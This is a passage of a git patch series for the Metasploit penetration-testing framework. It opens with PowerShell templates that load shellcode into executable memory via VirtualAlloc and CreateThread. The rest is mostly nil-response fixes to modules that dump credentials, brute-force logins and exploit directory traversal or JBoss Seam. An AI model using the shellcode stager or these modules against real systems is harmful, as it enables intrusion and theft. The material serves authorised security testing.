($%{var_payload}.Length -gt 0x1000) {$%{var_size} = $%{var_payload}.Length} +$%{var_rwx}=$%{var_win32_func}::VirtualAlloc(0,0x1000,$%{var_size},0x40) +for ($%{var_iter}=0;$%{var_iter} -le ($%{var_payload}.Length-1);$%{var_iter}++) {$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_payload}[$%{var_iter}], 1)} +$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0) + diff --git a/data/templates/scripts/to_win32pe_psh_net.ps1.template b/data/templates/scripts/to_win32pe_psh_net.ps1.template new file mode 100644 index 0000000000000..027d586bb8950 --- /dev/null +++ b/data/templates/scripts/to_win32pe_psh_net.ps1.template @@ -0,0 +1,30 @@ +Set-StrictMode -Version 2 +$%{var_syscode} = @" + using System; + using System.Runtime.InteropServices; + namespace %{var_kernel32} { + public class func { + [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } + [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } + [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } + [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); + [DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); + } + } +"@ + +$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider +$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters +$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location)) +$%{var_compileParams}.GenerateInMemory = $True +$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode}) + +[Byte[]]$%{var_code} = 0x%{code[0].to_s(16)}%{shellcode} + +$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite) +if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return } +[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length) +[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0) +if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return } +$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite) From ea78e8309d3742c5032431c1a65546236bbab19e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:35:36 -0500 Subject: [PATCH 274/454] Fix undefined method error [FixRM #8350] --- modules/auxiliary/admin/edirectory/edirectory_edirutil.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb index d367bdb8c8cb9..ac65e79159e76 100644 --- a/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb +++ b/modules/auxiliary/admin/edirectory/edirectory_edirutil.rb @@ -148,6 +148,11 @@ def run } }, 25) + if res.nil? + print_error("Did not get a response from server") + return + end + raw_data = res.body.scan(/#{action.opts['PATTERN']}/).flatten[0] print_line("\n" + Rex::Text.decode_base64(raw_data)) From 35b15b6809f6ecd5b72bae9b9144cb76cdc3595a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:37:22 -0500 Subject: [PATCH 275/454] Fix undefined method error [FixRM #8322] --- .../auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb index af99ca752b2b1..d9a2f67f11a01 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_instanceproperties.rb @@ -91,6 +91,11 @@ def enum_instance(rhost) } }, 15) + if res.nil? + print_error("#{rhost}:#{rport} [SAP] Unable to connect") + return + end + if res.code == 200 body = res.body if body.match(/CentralServices<\/property>Attribute<\/propertytype>([^<]+)<\/value>/) From 9f98d4afe6f673cda58b5f854c2c8f18fda07c98 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:38:35 -0500 Subject: [PATCH 276/454] Fix undefined method error [FixRM #8349] --- modules/auxiliary/admin/http/jboss_seam_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/http/jboss_seam_exec.rb b/modules/auxiliary/admin/http/jboss_seam_exec.rb index 8e4bd0db0db85..77f45b8c5c291 100644 --- a/modules/auxiliary/admin/http/jboss_seam_exec.rb +++ b/modules/auxiliary/admin/http/jboss_seam_exec.rb @@ -90,7 +90,8 @@ def run 'method' => 'GET', }, 20) - if (res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess)) + + if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess)) print_status("Exploited successfully") else print_status("Exploit failed.") From 5993cbe3a88982d0bc8f648e240c005aa5c286b7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:40:38 -0500 Subject: [PATCH 277/454] Fix undefined method error [FixRM #8348] --- modules/auxiliary/admin/http/typo3_sa_2010_020.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb index a9f8e4e5e3094..c830a77981c6d 100644 --- a/modules/auxiliary/admin/http/typo3_sa_2010_020.rb +++ b/modules/auxiliary/admin/http/typo3_sa_2010_020.rb @@ -99,8 +99,15 @@ def run },25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + return rescue ::Timeout::Error, ::Errno::EPIPE => e print_error(e.message) + return + end + + if file.nil? + print_error("Connection timed out") + return end if ((counter.to_f/queue.length.to_f)*100.0).to_s =~ /\d0.0$/ # Display percentage complete every 10% @@ -108,6 +115,7 @@ def run print_status("Requests #{percentage.to_i}% complete - [#{counter} / #{queue.length}]") end + # file can be nil case file.headers['Content-Type'] when 'text/html' case file.body From 9ca7a727e13e385366b53782cafc01961be8b7ac Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:41:49 -0500 Subject: [PATCH 278/454] Fix undefined method error [FixRM #8347] --- modules/auxiliary/admin/oracle/osb_execqr2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 52c28488c5438..79757334e15c2 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -51,7 +51,7 @@ def run 'method' => 'POST', }, 5) - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) + if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) sessionid = res.headers['Set-Cookie'].split(';')[0] From 37eaa62096aab1b8147c2dc64e48bb8428ed3f37 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:42:33 -0500 Subject: [PATCH 279/454] Fix undefined method error [FixRM #8346] --- modules/auxiliary/admin/oracle/osb_execqr3.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index 7b986fc51258f..c66ac0e31ee92 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -48,7 +48,7 @@ def run 'method' => 'POST', }, 5) - if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) + if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i)) sessionid = res.headers['Set-Cookie'].split(';')[0] From 8806e76e4db5090c66a3db6af1a17f0bd8f0708a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:44:10 -0500 Subject: [PATCH 280/454] Fix undefined method error [FixRM #8343] --- modules/auxiliary/gather/external_ip.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 244ce731f8af9..5fe447807bf71 100755 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -42,6 +42,12 @@ def initialize def run connect res = send_request_cgi({'uri' => '/ip', 'method' => 'GET' }) + + if res.nil? + print_error("Connection timed out") + return + end + our_addr = res.body.strip if Rex::Socket.is_ipv4?(our_addr) or Rex::Socket.is_ipv6?(our_addr) print_good("Source ip to #{rhost} is #{our_addr}") From 3a271e7cc7b11ad647ad9b507e0d284f794e6d57 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:45:48 -0500 Subject: [PATCH 281/454] Fix undefined method error [FixRM #8342] --- modules/auxiliary/scanner/http/axis_local_file_include.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/axis_local_file_include.rb b/modules/auxiliary/scanner/http/axis_local_file_include.rb index 70969789c2332..5634f634f8f6a 100644 --- a/modules/auxiliary/scanner/http/axis_local_file_include.rb +++ b/modules/auxiliary/scanner/http/axis_local_file_include.rb @@ -84,7 +84,12 @@ def get_credentials(uri) print_status("#{target_url} - Apache Axis - Dumping administrative credentials") - if (res and res.code == 200) + if res.nil? + print_error("Connection timed out") + return + end + + if (res.code == 200) if res.body.to_s.match(/axisconfig/) res.body.scan(/parameter\sname=\"userName\">([^\s]+) Date: Wed, 21 Aug 2013 00:47:31 -0500 Subject: [PATCH 282/454] Fix undefined method error [FixRM #8341] --- .../scanner/http/barracuda_directory_traversal.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb index d23569bc7f61e..732e18b274884 100644 --- a/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb @@ -63,7 +63,12 @@ def run_host(ip) 'uri' => uri + payload, }, 25) - if (res and res.code == 200 and res.body) + if res.nil? + print_error("Connection timed out") + return + end + + if (res.code == 200 and res.body) if res.body.match(/\(.*)\<\/html\>/im) html = $1 From 32a190f1bd1eb91f951f272d8b71d8083feed2d3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:49:13 -0500 Subject: [PATCH 283/454] Fix undefined method error [FixRM #8340] --- modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb index f710262eab160..77d2fd3c84585 100644 --- a/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb +++ b/modules/auxiliary/scanner/http/dir_webdav_unicode_bypass.rb @@ -164,7 +164,7 @@ def run_host(ip) 'data' => webdav_req + "\r\n\r\n", }, 20) - if (res.code.to_i == 207) + if (res and res.code.to_i == 207) print_status("\tFound vulnerable WebDAV Unicode bypass target #{wmap_base_url}#{tpath}%c0%af#{testfdir} #{res.code} (#{wmap_target_host})") # Unable to use report_web_vuln as method is PROPFIND and is not part of allowed From 092b43cbfa8d803f60b23abae5b0a33cc1a21fab Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:50:37 -0500 Subject: [PATCH 284/454] Fix undefined method error [FixRM #8339] --- modules/auxiliary/scanner/http/dolibarr_login.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/http/dolibarr_login.rb b/modules/auxiliary/scanner/http/dolibarr_login.rb index dfbaca5d16fee..29eaadfd21ac3 100644 --- a/modules/auxiliary/scanner/http/dolibarr_login.rb +++ b/modules/auxiliary/scanner/http/dolibarr_login.rb @@ -92,6 +92,11 @@ def do_login(user, pass) return :abort end + if res.nil? + print_error("Connection timed out") + return :abort + end + location = res.headers['Location'] if res and res.headers and (location = res.headers['Location']) and location =~ /admin\// print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"") From 2597c71831524aec806ced9a9819ddf2ee66f729 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:52:33 -0500 Subject: [PATCH 285/454] Fix undefined method error [FixRM #8338] [FixRM #8337] --- .../auxiliary/scanner/http/litespeed_source_disclosure.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb index bf504854d9873..cd0a0acde9111 100644 --- a/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/litespeed_source_disclosure.rb @@ -62,7 +62,12 @@ def run_host(ip) 'uri' => "#{uri}#{nullbytetxt}", }, 25) - version = res.headers['Server'] if res + if res.nil? + print_error("Connection timed out") + return + end + + version = res.headers['Server'] if vuln_versions.include?(version) print_good("#{target_url} - LiteSpeed - Vulnerable version: #{version}") From 0561928b924048a979c2dcb46d0f917c0a184d5a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 00:54:08 -0500 Subject: [PATCH 286/454] Fix undefined method error [FixRM #8336] --- .../scanner/http/majordomo2_directory_traversal.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb index b4ead24215475..1e089309fc5f7 100644 --- a/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb @@ -71,6 +71,11 @@ def run_host(ip) 'uri' => uri + payload, }, 25) + if res.nil? + print_error("Connection timed out") + return + end + print_status("#{rhost}:#{rport} Trying URL " + payload ) if (res and res.code == 200 and res.body) @@ -93,6 +98,7 @@ def run_host(ip) print_error("#{rhost}:#{rport} No HTML was returned") end else + # if res is nil, we hit this print_error("#{rhost}:#{rport} Unrecognized #{res.code} response") end i += 1; From 785f633d1dd715371f738ad80a4c4d8517716ac5 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:01:53 -0500 Subject: [PATCH 287/454] Fix undefined method error [FixRM #8334] [FixRM #8333] --- modules/auxiliary/scanner/http/nginx_source_disclosure.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb index b9920d1707522..fb90341cf55b2 100644 --- a/modules/auxiliary/scanner/http/nginx_source_disclosure.rb +++ b/modules/auxiliary/scanner/http/nginx_source_disclosure.rb @@ -72,7 +72,10 @@ def run_host(ip) 'uri' => "#{uri}#{get_source}", }, 25) - if res + if res.nil? + print_error("Connection timed out") + return + else version = res.headers['Server'] http_fingerprint({ :response => res }) end From 8eeb66f96d6862e3fdb95d2a7e54e5e0ea567c44 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:06:54 -0500 Subject: [PATCH 288/454] Fix undefined method error [FixRM #8332] --- modules/auxiliary/scanner/http/novell_mdm_creds.rb | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/modules/auxiliary/scanner/http/novell_mdm_creds.rb b/modules/auxiliary/scanner/http/novell_mdm_creds.rb index b2cee84c51166..6ce61e080a1b8 100644 --- a/modules/auxiliary/scanner/http/novell_mdm_creds.rb +++ b/modules/auxiliary/scanner/http/novell_mdm_creds.rb @@ -69,6 +69,12 @@ def get_creds(session_id,cmd_var) cmd_var => cmd } }) + + if res.nil? + print_error("Connection timed out") + return "", "" # Empty username & password + end + creds = res.body.to_s.match(/.*:"(.*)";.*";/)[1] return creds.split(":") end @@ -89,6 +95,7 @@ def run_host(ip) print_status("Found Version #{ver}") session_id,cmd = setup_session() user,pass = get_creds(session_id,cmd) + return if user.empty? and pass.empty? print_good("Got creds. Login:#{user} Password:#{pass}") print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/") From 0f85fa21b42c4dbda1fdcb966b4273442ad58aff Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:08:19 -0500 Subject: [PATCH 289/454] Fix undefined method error [FixRM #8331] --- modules/auxiliary/scanner/http/rails_mass_assignment.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/rails_mass_assignment.rb b/modules/auxiliary/scanner/http/rails_mass_assignment.rb index 1c3a94f0cb580..bcc0be30a3cc1 100644 --- a/modules/auxiliary/scanner/http/rails_mass_assignment.rb +++ b/modules/auxiliary/scanner/http/rails_mass_assignment.rb @@ -87,7 +87,7 @@ def check_data(ip, parsed_data, base_params) 'data' => datastore['METHOD'] == 'POST' ? query.to_query : datastore['DATA'] }, 20) - if resp.code == 500 + if resp and resp.code == 500 print_good("#{ip} - Possible attributes mass assignment in attribute #{param}[...] at #{datastore['PATH']}") report_web_vuln( :host => rhost, From 42a7766f1b1a60f3dcbc1b6b42076eaf2ebd3b4d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:09:24 -0500 Subject: [PATCH 290/454] Fix undefined method error [FixRM #8330] --- modules/auxiliary/scanner/http/sevone_enum.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/scanner/http/sevone_enum.rb b/modules/auxiliary/scanner/http/sevone_enum.rb index 3cce022b63f3e..0dd29b3ef2da4 100644 --- a/modules/auxiliary/scanner/http/sevone_enum.rb +++ b/modules/auxiliary/scanner/http/sevone_enum.rb @@ -86,6 +86,11 @@ def do_login(user, pass) } }) + if res.nil? + print_error("Connection timed out") + return :abort + end + check_key = "The user has logged in successfully." key = JSON.parse(res.body)["statusString"] From ae8c40c8f780cfcc966dcfe2be2c172c45648307 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:10:46 -0500 Subject: [PATCH 291/454] Fix undefined method error [FixRM #8329] --- modules/auxiliary/scanner/http/vmware_server_dir_trav.rb | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb index 99eebecee0587..334a36419d5fe 100644 --- a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb @@ -52,9 +52,14 @@ def run_host(target_host) 'uri' => trav+file, 'version' => '1.1', 'method' => 'GET' - }, 25) + }, 25) - if (res and res.code == 200) + if res.nil? + print_error("Connection timed out") + return + end + + if res.code == 200 #print_status("Output Of Requested File:\n#{res.body}") print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability") report_vuln( From be29e447882f59b4e7fdcf59edf084dec934a55a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:15:07 -0500 Subject: [PATCH 292/454] Fix undefined method error [FixRM #8328] --- modules/auxiliary/scanner/http/web_vulndb.rb | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/web_vulndb.rb b/modules/auxiliary/scanner/http/web_vulndb.rb index 60959f9a85508..4d6b8a3c5ca04 100644 --- a/modules/auxiliary/scanner/http/web_vulndb.rb +++ b/modules/auxiliary/scanner/http/web_vulndb.rb @@ -140,8 +140,7 @@ def run_host(ip) if testmesg.empty? or usecode if(not res or ((res.code.to_i == ecode) or (emesg and res.body.index(emesg)))) if dm == false - print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}") - #blah + print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i rescue ''}") end else if res.code.to_i == 400 and ecode != 400 @@ -173,8 +172,7 @@ def run_host(ip) ) else if dm == false - print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i}") - #blah + print_status("NOT Found #{wmap_base_url}#{tpath}#{testfvuln} #{res.code.to_i rescue ''}") end end end From 2fa75e013320390c625796df42418c8e51eee8ca Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:16:49 -0500 Subject: [PATCH 293/454] Fix undefined method error [FixRM #8325] --- modules/auxiliary/scanner/http/wordpress_login_enum.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_login_enum.rb b/modules/auxiliary/scanner/http/wordpress_login_enum.rb index 5696bf2e3daef..dcfa68a6be459 100644 --- a/modules/auxiliary/scanner/http/wordpress_login_enum.rb +++ b/modules/auxiliary/scanner/http/wordpress_login_enum.rb @@ -111,10 +111,15 @@ def do_enum(user=nil) 'data' => post_data, }, 20) + if res.nil? + print_error("Connection timed out") + return :abort + end + valid_user = false - if (res and res.code == 200 ) + if res.code == 200 if (res.body.to_s =~ /Incorrect password/ ) valid_user = true @@ -150,7 +155,9 @@ def do_enum(user=nil) end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + return :abort rescue ::Timeout::Error, ::Errno::EPIPE + return :abort end end From 77942f0d29dadcae9775a8631d291d377e5d6050 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:20:03 -0500 Subject: [PATCH 294/454] Fix undefined method error [FixRM #8325] --- modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index 8da40d10e78a1..971d1a9ec4495 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -45,6 +45,11 @@ def run_host(ip) 'uri' => "#{$uri}\/$defaultview?Readviewentries", }, 25) + if res.nil? + print_error("Connection timed out") + return + end + if (res and res.body.to_s =~ /\ post_data, }, 20) + if res.nil? + print_error("Connection timed out") + return + end + if (res and res.code == 302 ) if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i) cookie = "DomAuthSessId=#{$1}" From 92752de651fcbf247f771312a423973e484d7e8c Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:20:57 -0500 Subject: [PATCH 295/454] Fix undefined method error [FixRM #8324] --- modules/auxiliary/scanner/oracle/spy_sid.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index 5326fc21a273c..961250ca60be9 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -42,7 +42,7 @@ def run_host(ip) 'version' => '1.1', }, 5) - if ( res.body =~ /SERVICE_NAME=/ ) + if res and res.body =~ /SERVICE_NAME=/ select(nil,nil,nil,2) sid = res.body.scan(/SERVICE_NAME=([^\)]+)/) report_note( From 89753a6390c922b3dc0e0950a0e1dc86bcd5e144 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:22:27 -0500 Subject: [PATCH 296/454] Fix undefined method error [FixRM #8323] --- modules/auxiliary/scanner/oracle/xdb_sid_brute.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index aa3f7baec7f7e..361fedd5c4e84 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -242,7 +242,7 @@ def run_host(ip) } }, -1) - if (res.code == 200) + if res and res.code == 200 if (not res.body.length > 0) # sometimes weird bug where body doesn't have value yet res.body = res.bufq @@ -294,7 +294,7 @@ def run_host(ip) } }, -1) - if (res.code == 200) + if res and res.code == 200 if (not res.body.length > 0) # sometimes weird bug where body doesn't have value yet res.body = res.bufq From 50e7d8015a9a146804f17072d73ebf1dd949bc2f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 21 Aug 2013 01:38:16 -0500 Subject: [PATCH 297/454] Validate datastore option "YEAR" The YEAR option is a numeric value, so should be OptInt in order to go through validation. [FixRM #8345] [FixRM #8344] --- modules/auxiliary/gather/corpwatch_lookup_id.rb | 2 +- modules/auxiliary/gather/corpwatch_lookup_name.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 4982555756225..968885ed97f6d 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -30,7 +30,7 @@ def initialize(info = {}) register_options( [ OptString.new('CW_ID', [ true, "The CorpWatch ID of the company", ""]), - OptString.new('YEAR', [ false, "Year to look up", ""]), + OptInt.new('YEAR', [ false, "Year to look up"]), OptBool.new('GET_LOCATIONS', [ false, "Get locations for company", true]), OptBool.new('GET_NAMES', [ false, "Get all registered names ofr the company", true]), OptBool.new('GET_FILINGS', [ false, "Get all filings", false ]), diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 27f2f48b71ff1..0a4fcf119e759 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -33,7 +33,7 @@ def initialize(info = {}) register_options( [ OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]), - OptString.new('YEAR', [ false, "Limit results to a specific year", ""]), + OptInt.new('YEAR', [ false, "Limit results to a specific year"]), OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]), OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]), ], self.class) From 3a2433dac9170b56fd00b3bb5cb93fa9fd511133 Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Wed, 21 Aug 2013 12:18:07 +0300 Subject: [PATCH 298/454] Remove unneeded filetime read --- modules/post/windows/gather/enum_prefetch.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 41688fb85ee7c..05d45148e577f 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -95,20 +95,20 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs hash = client.railgun.kernel32.ReadFile(handle, 4, 4, 4, nil) # Finds the LastModified/Created timestamp (MACE) - lm = client.priv.fs.get_file_mace(filename) + mtimes = client.priv.fs.get_file_mace(filename) # Finds the Creation timestamp (MACE) - ct = client.priv.fs.get_file_mace(filename) + #ct = client.priv.fs.get_file_mace(filename) # Checking and moving the values - if idx.nil? or count.nil? or hash.nil? or lm.nil? or ct.nil? + if idx.nil? or count.nil? or hash.nil? or mtimes.nil? #or ct.nil? print_error("Error reading file (might be temporary): %s" % filename) else pname = Rex::Text.to_ascii(name.slice(0..idx)) prun = count['lpBuffer'].unpack('L*')[0] phash = hash['lpBuffer'].unpack('h*')[0].reverse - lmod = lm['Modified'].utc - creat = ct['Created'].utc + lmod = mtimes['Modified'].utc + creat = mtimes['Created'].utc table << [lmod, creat,prun,phash,pname] end client.railgun.kernel32.CloseHandle(handle) From 0cc499faf7bc61d2d9c89c09ff4c74b81f48933a Mon Sep 17 00:00:00 2001 From: jiuweigui Date: Wed, 21 Aug 2013 14:47:50 +0300 Subject: [PATCH 299/454] Minor deletes related to filetime change. --- modules/post/windows/gather/enum_prefetch.rb | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/modules/post/windows/gather/enum_prefetch.rb b/modules/post/windows/gather/enum_prefetch.rb index 05d45148e577f..8a3e593364325 100644 --- a/modules/post/windows/gather/enum_prefetch.rb +++ b/modules/post/windows/gather/enum_prefetch.rb @@ -97,11 +97,8 @@ def gather_prefetch_info(name_offset, hash_offset, lastrun_offset, runcount_offs # Finds the LastModified/Created timestamp (MACE) mtimes = client.priv.fs.get_file_mace(filename) - # Finds the Creation timestamp (MACE) - #ct = client.priv.fs.get_file_mace(filename) - # Checking and moving the values - if idx.nil? or count.nil? or hash.nil? or mtimes.nil? #or ct.nil? + if idx.nil? or count.nil? or hash.nil? or mtimes.nil? 